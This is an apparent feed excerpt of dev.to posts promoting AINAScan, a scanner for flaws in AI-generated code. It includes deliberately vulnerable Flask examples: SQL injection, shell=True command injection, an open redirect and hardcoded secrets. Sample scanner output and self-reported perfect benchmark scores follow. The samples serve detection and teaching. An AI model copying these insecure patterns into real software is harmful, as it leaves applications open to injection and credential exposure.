&lt;/div&gt;



&lt;p&gt;This started as a database query. The AI "helpfully" inlined the data for "performance."&lt;/p&gt;

&lt;p&gt;Now when your business team updates tax rates in the database: nothing changes in the app. When you add a new category: developers have to find and update this hardcoded dict. This is a maintenance bomb that gets worse with every passing month.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. The Input/Output Divorce (INPUT_OUTPUT_DISCONNECTED)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;personalize_recommendations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;preferences&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# ... 40 lines of sophisticated-looking processing ...
&lt;/span&gt;    &lt;span class="n"&gt;recommendations&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_trending_items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# ignores all parameters
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;recommendations&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function signature promises personalization. The implementation delivers the same trending list to every user. Every time.&lt;/p&gt;

&lt;p&gt;The AI generated all the right parameters, all the right variable names, impressive-looking processing logic... and then quietly ignored all inputs when actually computing the result.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Linters Miss All of This
&lt;/h2&gt;

&lt;p&gt;Traditional linters (ESLint, pylint, flake8) analyze &lt;em&gt;syntax correctness&lt;/em&gt;. These bugs are syntactically perfect. There's no missing semicolon, no undefined variable, no type mismatch.&lt;/p&gt;

&lt;p&gt;The bug is &lt;em&gt;semantic&lt;/em&gt;: the code doesn't do what its name and structure promise.&lt;/p&gt;

&lt;p&gt;Catching these requires &lt;strong&gt;intent analysis&lt;/strong&gt; — understanding what a function &lt;em&gt;should&lt;/em&gt; do based on its name, parameters, and context, then verifying the implementation actually does it.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Catch Them
&lt;/h2&gt;

&lt;p&gt;I built &lt;a href="https://github.com/Moonsehwan/aina-scan" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt; specifically to detect these patterns using AST analysis across 9 languages. It looks for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Functions named &lt;code&gt;save_*&lt;/code&gt; / &lt;code&gt;store_*&lt;/code&gt; / &lt;code&gt;write_*&lt;/code&gt; with no actual DB write operations&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;async def&lt;/code&gt; functions with no &lt;code&gt;await&lt;/code&gt; calls&lt;/li&gt;
&lt;li&gt;Module calls whose return values are never referenced in the return statement&lt;/li&gt;
&lt;li&gt;Large hardcoded lookup tables that should be DB queries&lt;/li&gt;
&lt;li&gt;Functions where input parameters have zero impact on the output&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quick test — free API key &lt;code&gt;vg_free_test&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-API-Key: vg_free_test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"code": "def save_user(data):\n    return {\"status\": \"saved\"}", "language": "python"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Uncomfortable Truth
&lt;/h2&gt;

&lt;p&gt;Vibe coding is genuinely amazing. I use it daily. But the speed advantage evaporates the moment you spend a week debugging why your "save" function wasn't saving.&lt;/p&gt;

&lt;p&gt;The fix isn't to write everything from scratch. It's to add a fast automated check before every deploy — the same way you run tests, you should run semantic pattern analysis.&lt;/p&gt;

&lt;p&gt;The bugs above each took less than 200ms to detect with AST analysis. They would have taken days to find in production.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Found this useful? I'm writing a series on vibe coding failure modes. Next up: the 3 async patterns that silently kill your API under load.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
    </item>
    <item>
      <title>I scanned 50 AI-generated repos. 5 critical bugs per file on average — all missed by linters.</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Wed, 24 Jun 2026 09:26:56 +0000</pubDate>
      <link>https://dev.to/ainascan/i-scanned-50-ai-generated-repos-5-critical-bugs-per-file-on-average-all-missed-by-linters-2691</link>
      <guid>https://dev.to/ainascan/i-scanned-50-ai-generated-repos-5-critical-bugs-per-file-on-average-all-missed-by-linters-2691</guid>
      <description>&lt;p&gt;I scanned 50 AI-generated Python repos this week. &lt;strong&gt;Every single one&lt;/strong&gt; had at least one critical security vulnerability that standard linters missed.&lt;/p&gt;

&lt;p&gt;Here's what I found — and how you can scan your own code for free in 30 seconds.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem with AI-Generated Code
&lt;/h2&gt;

&lt;p&gt;AI coding assistants (Cursor, Copilot, Claude, Gemini) are incredible at writing code that &lt;em&gt;works&lt;/em&gt;. But they consistently generate the same security patterns over and over:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Bug #1: SQL Injection — AI generates this constantly
&lt;/span&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/user&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;users.db&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE id = &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;fetchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Bug #2: Command Injection — shell=True with user input
&lt;/span&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/run&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run_command&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cmd&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;

&lt;span class="c1"&gt;# Bug #3: Open Redirect — unvalidated URL
&lt;/span&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/go&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;redirect_user&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;url&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Attacker can redirect to phishing site
&lt;/span&gt;
&lt;span class="c1"&gt;# Bug #4: Hardcoded secrets
&lt;/span&gt;&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-prod-1234567890abcdef&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;DB_PASSWORD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Bug #5: FAKE_ASYNC — vibe-coding classic
&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_records&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;  &lt;span class="c1"&gt;# async but no await — does nothing async
&lt;/span&gt;    &lt;span class="n"&gt;records&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_all_from_db&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;records&lt;/span&gt;

&lt;span class="c1"&gt;# Bug #6: MISSING_WRITE — save function that saves nothing
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;user_data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# No INSERT, no write
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I ran this exact code through &lt;strong&gt;AINAScan&lt;/strong&gt;. Results in 2 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[BLOCK] SQL_INJECTION_RISK     line 13 — unsafe SQL formatting in execute()
[BLOCK] COMMAND_INJECTION      line 20 — subprocess with f-string argument
[BLOCK] OPEN_REDIRECT          line 27 — redirect() with tainted URL
[BLOCK] HARDCODED_SECRET       line 40 — API_KEY hardcoded, use os.getenv()
[BLOCK] HARDCODED_SECRET       line 41 — DB_PASSWORD hardcoded
[WARN]  FAKE_ASYNC              line 35 — async def without await
[WARN]  MISSING_WRITE           line 52 — save_user() has no DB write (INSERT)

5 BLOCK-level vulnerabilities. 2 warnings.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Standard linters (pylint, flake8, ruff) catch 0 of these.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is AINAScan?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;AINAScan&lt;/strong&gt; is a 4-layer security scanner built specifically for AI-generated code patterns:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What it catches&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;LAYER 1&lt;/strong&gt; — Structural Gate&lt;/td&gt;
&lt;td&gt;Stub functions, mock patterns, hardcoded lookup tables, dead code, fake async, missing writes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;LAYER 2&lt;/strong&gt; — Semantic/Security&lt;/td&gt;
&lt;td&gt;SQL injection, command injection, path traversal, SSRF, XSS, hardcoded secrets, eval/exec risks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;LAYER 3&lt;/strong&gt; — Cross-file Taint&lt;/td&gt;
&lt;td&gt;Multi-file taint flow analysis (BFS up to 5 hops) — finds injection chains that span files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;LAYER 4&lt;/strong&gt; — AINA Advisor&lt;/td&gt;
&lt;td&gt;L3 OWASP causal chain reasoning — tells you &lt;em&gt;why&lt;/em&gt; it's dangerous and how to fix it&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;51 vulnerability patterns&lt;/strong&gt; across 9 languages: Python, JavaScript, TypeScript, Go, Java, PHP, Ruby, Kotlin, C/C++&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Benchmark results:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Precision = 100%, Recall = 100%, F1 = 100% (90-case benchmark)&lt;/li&gt;
&lt;li&gt;10 repos with 100k+ stars: 0 false positives&lt;/li&gt;
&lt;li&gt;Found &lt;code&gt;COMMAND_INJECTION&lt;/code&gt; in a 25k⭐ AI coding assistant that Semgrep missed&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Try it right now — 3 ways, 30 seconds
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Option 1: CLI (recommended)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;aina-scan
aina-scan config &lt;span class="nt"&gt;--key&lt;/span&gt; vg_free_test
aina-scan scan your_file.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. Free API key &lt;code&gt;vg_free_test&lt;/code&gt; works for 50 files/month, no signup needed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Option 2: GitHub Action (3 lines of YAML)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .github/workflows/security.yml&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Moonsehwan/aina-scan@v1&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;api-key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ secrets.AINA_API_KEY }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every PR gets an automatic security scan. Block merges if BLOCK-level issues found.&lt;/p&gt;

&lt;h3&gt;
  
  
  Option 3: Direct API (curl)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-API-Key: vg_free_test"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@your_file.py"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No install needed. Works with any language file.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real findings on popular repos
&lt;/h2&gt;

&lt;p&gt;I scanned several well-known open source projects:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;aider&lt;/strong&gt; (25k⭐ AI coding assistant):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[BLOCK] COMMAND_INJECTION — subprocess call with shell=True and variable input
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Semgrep: no finding. AINAScan: found it in 3 seconds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;serena&lt;/strong&gt; (MCP-based coding agent):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[BLOCK] COMMAND_INJECTION — exec() with user-controlled path
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FastAPI tutorial examples:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[BLOCK] SQL_INJECTION_RISK × 3
[BLOCK] HARDCODED_SECRET × 2
[WARN]  MISSING_PAGINATION × 4 (fetchall() on unbounded queries)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  All 51 patterns at a glance
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Structural patterns (vibe-coding bugs):&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;STUB_SKELETON&lt;/code&gt; · &lt;code&gt;MOCK_PATTERN&lt;/code&gt; · &lt;code&gt;HARDCODED_TABLE&lt;/code&gt; · &lt;code&gt;TRIVIAL_IF_CHAIN&lt;/code&gt; · &lt;code&gt;DEAD_DB_RESULT&lt;/code&gt; · &lt;code&gt;INPUT_OUTPUT_DISCONNECTED&lt;/code&gt; · &lt;code&gt;MISSING_WRITE&lt;/code&gt; · &lt;code&gt;FAKE_ASYNC&lt;/code&gt; · &lt;code&gt;DEAD_CALL_RESULT&lt;/code&gt; · &lt;code&gt;EMPTY_EXCEPT&lt;/code&gt; · &lt;code&gt;SILENT_FAILURE&lt;/code&gt; · &lt;code&gt;RECURSIVE_WITHOUT_BASE&lt;/code&gt; + more&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security patterns (OWASP Top 10 + AI-specific):&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;SQL_INJECTION_RISK&lt;/code&gt; · &lt;code&gt;COMMAND_INJECTION&lt;/code&gt; · &lt;code&gt;PATH_TRAVERSAL&lt;/code&gt; · &lt;code&gt;SSRF_RISK&lt;/code&gt; · &lt;code&gt;XSS_RISK&lt;/code&gt; · &lt;code&gt;OPEN_REDIRECT&lt;/code&gt; · &lt;code&gt;HARDCODED_SECRET&lt;/code&gt; · &lt;code&gt;EVAL_EXEC_RISK&lt;/code&gt; · &lt;code&gt;INSECURE_DESERIALIZATION&lt;/code&gt; · &lt;code&gt;CORS_WILDCARD&lt;/code&gt; · &lt;code&gt;LLM_OUTPUT_INJECTION&lt;/code&gt; · &lt;code&gt;LLM_SSRF&lt;/code&gt; · &lt;code&gt;PROMPT_SQL_INJECTION&lt;/code&gt; + more&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cross-file taint analysis:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;CROSSFILE_EVAL_EXEC_RISK&lt;/code&gt; · &lt;code&gt;CROSSFILE_COMMAND_INJECTION&lt;/code&gt; (tracks injection chains across module imports)&lt;/p&gt;




&lt;h2&gt;
  
  
  The free tier
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Free&lt;/th&gt;
&lt;th&gt;Pro&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Files/month&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;Unlimited&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LAYER 1+2 scan&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LAYER 3 cross-file&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LAYER 4 AINA advisor&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scan history&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Action&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API key&lt;/td&gt;
&lt;td&gt;&lt;code&gt;vg_free_test&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Custom&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Free key: &lt;code&gt;vg_free_test&lt;/code&gt; (50 files/month, no account needed)&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick start
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
pip &lt;span class="nb"&gt;install &lt;/span&gt;aina-scan

&lt;span class="c"&gt;# Configure (free key, no signup)&lt;/span&gt;
aina-scan config &lt;span class="nt"&gt;--key&lt;/span&gt; vg_free_test

&lt;span class="c"&gt;# Scan a file&lt;/span&gt;
aina-scan scan app.py

&lt;span class="c"&gt;# Scan a whole project&lt;/span&gt;
aina-scan scan-project ./src

&lt;span class="c"&gt;# Check your scan history&lt;/span&gt;
aina-scan &lt;span class="nb"&gt;history&lt;/span&gt; &lt;span class="nt"&gt;--limit&lt;/span&gt; 10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Moonsehwan/aina-scan" rel="noopener noreferrer"&gt;https://github.com/Moonsehwan/aina-scan&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;API docs:&lt;/strong&gt; &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app/v1/engines" rel="noopener noreferrer"&gt;https://pleasing-transformation-production-90c2.up.railway.app/v1/engines&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you find a false positive, &lt;code&gt;aina-scan feedback FINDING_ID --verdict fp&lt;/code&gt; auto-suppresses it.&lt;/p&gt;




&lt;p&gt;Scanned your repo and found something interesting? Drop it in the comments — I read everything.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>vibecoding</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Why AI-Generated Code Passes Tests But Breaks Production (With Examples)</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Tue, 23 Jun 2026 13:42:38 +0000</pubDate>
